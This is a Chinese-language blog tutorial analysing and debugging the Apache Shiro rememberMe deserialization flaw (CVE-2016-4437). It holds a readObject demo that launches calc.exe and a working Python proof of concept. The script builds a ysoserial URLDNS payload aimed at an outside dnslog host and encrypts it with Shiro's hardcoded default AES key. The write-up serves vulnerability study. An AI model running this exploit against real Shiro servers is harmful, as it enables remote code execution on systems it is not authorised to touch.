分析调试apache shiro反序列化漏洞(CVE-2016-4437)
文章最后更新时间为:2020年03月16日 16:38:09
1. 什么是java反序列化
序列化和反序列化是一种常见的编程思想,php、python也都存在此种机制。序列化就是将对象转化成字节流,便于保存在内存、文件或者数据库中(保存此对象的状态)。反序列化就是将字节流转化为对象。
java反序列化也类似,某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口,便可以被序列化。比如下面的类:
import java.io.Serializable;
public class People implements Serializable {
public String name;
public int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
上述代码定义了People类,并且实现了Serializable接口,我们便可以对其进行序列化和反序列化操作。
import java.io.*;
public class Test {
public static void main(String[] args) throws Exception {
// 初始化对象
People people = new People();
people.setName("xiaoming");
people.setAge(18);
// 序列化步骤
// 1. 创建一个ObjectOutputStream输出流
// 2. 调用ObjectOutputStream对象的writeObject输出可序列化对象
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/People.txt")));
oos.writeObject(people);
System.out.println("people对象序列化成功!");
// 反序列化步骤
// 1. 创建一个ObjectInputStream输入流
// 2. 调用ObjectInputStream对象的readObject()得到序列化的对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("d:/People.txt")));
People people1 = (People) ois.readObject();
System.out.println("people对象反序列化成功!");
System.out.println(people1.getName());
System.out.println(people1.getAge());
}
}
代码运行结果:
people对象序列化成功!
people对象反序列化成功!
xiaoming
18
序列化过程将字节流保存在d:/People.txt中,我们可以在d:/People.txt看到序列化后的二进制对象。
其中开头的aced 0005是java序列化文件的文件头,算是java序列化字节流的一个特征吧。
关于java序列化和反序列化的一些特性,可以阅读这篇文章【1】。
回想一下php的反序列化漏洞,反序列化对象时会调用类的魔法函数__construct()
(创建对象时触发),我们可以构造pop链来控制(改造)__construct()
函数,从而反序列化时执行我们需要的操作。
java也是类似。
在上面的代码中,我们通过调用readObject()方法来从一个源输入流中读取字节序列,再把它们反序列化为一个对象,那么我们如果控制了此类的readObject()方法会怎么样?
为了验证想法,我们修改一下People类,重写其readObject()方法:
public class People implements Serializable {
//添加以下方法,重写People类的readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}
运行程序,当执行People people1 = (People) ois.readObject();
语句时会调用People类的readObject方法,弹出计算器:
由此可知控制了类的readObject方法便可以在反序列化该类时执行任意操作。事实上大多数java反序列化漏洞都可追溯到readObject方法,通过构造pop链最终改造readObject()方法。
2. 实例分析apache shiro 反序列化漏洞(CVE-2016-4437)
2.1 漏洞说明
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
- 检索cookie中RememberMe的值
- Base64解码
- 使用AES解密
- 反序列化
漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。
2.2 漏洞分析
因为我也是才开始学java web代码调试,以下的内容尽量写的详细一点,调试中遇到了挺多坑,也挺有收获的。
首先我们得将代码下载下来
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
然后编辑shiro\samples\web的pom.xml中的pom.xml文件:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
然后用idea导入此mvn项目:
等待idea自动下载导入项目依赖的包
接着设置run/debug configurations, 添加本地tomcat环境(需要提前下载tomcat包)
添加我们的项目进tomcat中:
点击确定,然后开始debug之路。
首先我们看下RememberMe值的加密过程。我们在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,然后点击debug开启tomcat服务:
我们之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处:
首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。我们f7跟进rememberIdentity函数:
rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是"root",接着我们跟进rememberIdentity构造方法:
调用convertPrincipalsToBytes方法将accountPrincipals也就是"root"转换为字节形式,我们跟进这个函数。
转换过程是先序列化用户身份"id",在对其进行encrypt,跟进encrypt函数:
encrypt函数就是调用AES加密对序列化后的"root"进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量:
我们继续f8,直到回到rememberIdentity函数:
跟进rememberSerializedIdentity函数
发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:
- 序列化用户身份"root"
- 对root进行AES加密,密钥为常量
- base64编码
- 设置到cookie中的rememberme字段:
接下来我们看下rememberme字段的解密过程:
将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求。
跟进getRememberedPrincipals函数
跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码
回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化。
decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。
综上,整个流程为
- 读取cookie中rememberMe值
- base64解码
- AES解密
- 反序列化
其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作。
2.3 漏洞利用
漏洞利用我们需要用到ysoserial项目,该项目就是集成了一些Gadget,方便我们自动生成。
为了通用性,我们使用ysoserial的URLDNS模块来执行一次DNS操作,poc代码如下
#!/usr/bin/env python3
# coding:utf-8
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64
target = "http://localhost:8000/samples_web_war/"
jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
# 发送request
try:
r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
traceback.print_exc()
成功检测到dns请求,说明命令执行成功。
谢谢分享,新手一枚,看了这么多篇,只有你的看懂了。
那个sqmple-war是怎么搞的啊?大佬
QAQ
@tri 如果你没有的话,点击file-->project stucture设置下modules和artifacts
@saucerman 大佬有个问题,我是在dos里边在 sample/web 目录下进行的mvn 打包 ,接着用 intelji import ../sample/web下的pom.xml,接着在run 那里edit加入了mvn打包的包,也是能够跑起来,其他都没问题,但是很奇怪的是我的ide里并没有找到rememberme那个文件,这个是我操作哪里不对吗QAQ 求教 太笨了
@tri shiro是作为一个lib被引用的,文件在External Libraries中